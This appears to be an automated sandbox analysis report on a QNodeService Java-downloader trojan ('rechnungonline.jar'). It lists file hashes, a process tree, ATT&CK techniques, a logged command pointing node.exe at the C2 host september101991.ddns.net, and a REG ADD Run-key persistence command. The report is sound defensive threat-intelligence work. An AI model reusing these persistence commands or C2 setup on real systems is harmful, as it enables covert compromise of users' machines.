qnodeservice | ae0d300b014222d0b5ef7587f5b9862ae1296843d7d776392dfa8c9ef2d9550b

General

Target

rechnungonline.jar
Size

93KB
MD5

f8e54943e0636946d7a7e5789a9c89ed
SHA1

36fb49a43dfc411b323a75d7704ae07d8b889672
SHA256

ae0d300b014222d0b5ef7587f5b9862ae1296843d7d776392dfa8c9ef2d9550b
SHA512

6f4fec5aa0ee8eeb29cf39aea3969de996e5594168149dc4fc12a65ea2ac57cd5a2d711b6ea76fd9161c7a47471a8a6a02c4d9474a884cad34714ea00d491761

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice
Executes dropped EXE 3 IoCs

Processes:

node.exenode.exenode.exe

pid process

2484 node.exe
3332 node.exe
3748 node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\aa8066c0-0a8a-424f-91b1-c5b684831951 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

30 wtfismyip.com
31 wtfismyip.com

flow	ioc
30	wtfismyip.com
31	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

node.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

node.exenode.exenode.exe

pid	process
2484	node.exe
2484	node.exe
2484	node.exe
2484	node.exe
3332	node.exe
3332	node.exe
3332	node.exe
3332	node.exe
3748	node.exe
3748	node.exe
3748	node.exe
3748	node.exe
3748	node.exe
3748	node.exe
3748	node.exe
3748	node.exe
3748	node.exe
3748	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

java.exejavaw.exenode.exenode.exenode.execmd.exe

description	pid	process	target process
PID 4068 wrote to memory of 508	4068	java.exe	javaw.exe
PID 4068 wrote to memory of 508	4068	java.exe	javaw.exe
PID 508 wrote to memory of 2484	508	javaw.exe	node.exe
PID 508 wrote to memory of 2484	508	javaw.exe	node.exe
PID 2484 wrote to memory of 3332	2484	node.exe	node.exe
PID 2484 wrote to memory of 3332	2484	node.exe	node.exe
PID 3332 wrote to memory of 3748	3332	node.exe	node.exe
PID 3332 wrote to memory of 3748	3332	node.exe	node.exe
PID 3748 wrote to memory of 2476	3748	node.exe	cmd.exe
PID 3748 wrote to memory of 2476	3748	node.exe	cmd.exe
PID 2476 wrote to memory of 1548	2476	cmd.exe	reg.exe
PID 2476 wrote to memory of 1548	2476	cmd.exe	reg.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\rechnungonline.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:4068
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\169088be.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:508
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain september101991.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2484
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_vf38BJ\boot.js --hub-domain september101991.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3332
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_vf38BJ\boot.js --hub-domain september101991.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3748
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "aa8066c0-0a8a-424f-91b1-c5b684831951" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2476
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "aa8066c0-0a8a-424f-91b1-c5b684831951" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1548

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestamp

MD5
207b60f9dba1fa61c3ca2648254af41b

SHA1
d67c7845a6b55ef68a159c32357c367cc61eeba3

SHA256
7bc82b7aa3d858d08b82f4827cfc39ebaa10f7a59ec557269104ff3092a05e09

SHA512
6c52957a5174322c7c1fa786e54abe40f363e89a4553b2b0f9c862b6a2ce9dd8d198d51d145a0a7b4b1300d143fd3bf81150b9c2f41ed2a6b61a69351471fcc4

Download Submit
C:\Users\Admin\AppData\Local\Temp\169088be.tmp

MD5
f8e54943e0636946d7a7e5789a9c89ed

SHA1
36fb49a43dfc411b323a75d7704ae07d8b889672

SHA256
ae0d300b014222d0b5ef7587f5b9862ae1296843d7d776392dfa8c9ef2d9550b

SHA512
6f4fec5aa0ee8eeb29cf39aea3969de996e5594168149dc4fc12a65ea2ac57cd5a2d711b6ea76fd9161c7a47471a8a6a02c4d9474a884cad34714ea00d491761

Download Submit
C:\Users\Admin\AppData\Local\Temp\_qhub_node_vf38BJ\boot.js

MD5
3859487feb5152e9d1afc4f8cd320608

SHA1
7bf154c9ddf3a71abf15906cdb60773e8ae07b62

SHA256
8d19e156776805eb800ad47f85ff36b99b8283b721ebab3d47a16e2ae597fe13

SHA512
826a1b3cd08e4652744a975153448288dd31073f60471729b948d7668df8e510fa7b0c6dcd63636043850364bf3cd30c1053349d42d08f8ec7c4a0655188fab8

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe

MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe

MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe

MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
memory/508-52-0x0000000000000000-mapping.dmp

Download
memory/1548-180-0x0000000000000000-mapping.dmp

Download
memory/2476-179-0x0000000000000000-mapping.dmp

Download
memory/2484-169-0x0000000000000000-mapping.dmp

Download
memory/2484-171-0x000001B7C1B80000-0x000001B7C1B81000-memory.dmp

Filesize
4KB

Download
memory/3332-174-0x000001BAC9740000-0x000001BAC9741000-memory.dmp

Filesize
4KB

Download
memory/3332-172-0x0000000000000000-mapping.dmp

Download
memory/3748-176-0x0000000000000000-mapping.dmp

Download
memory/3748-178-0x0000030CB93C0000-0x0000030CB93C1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads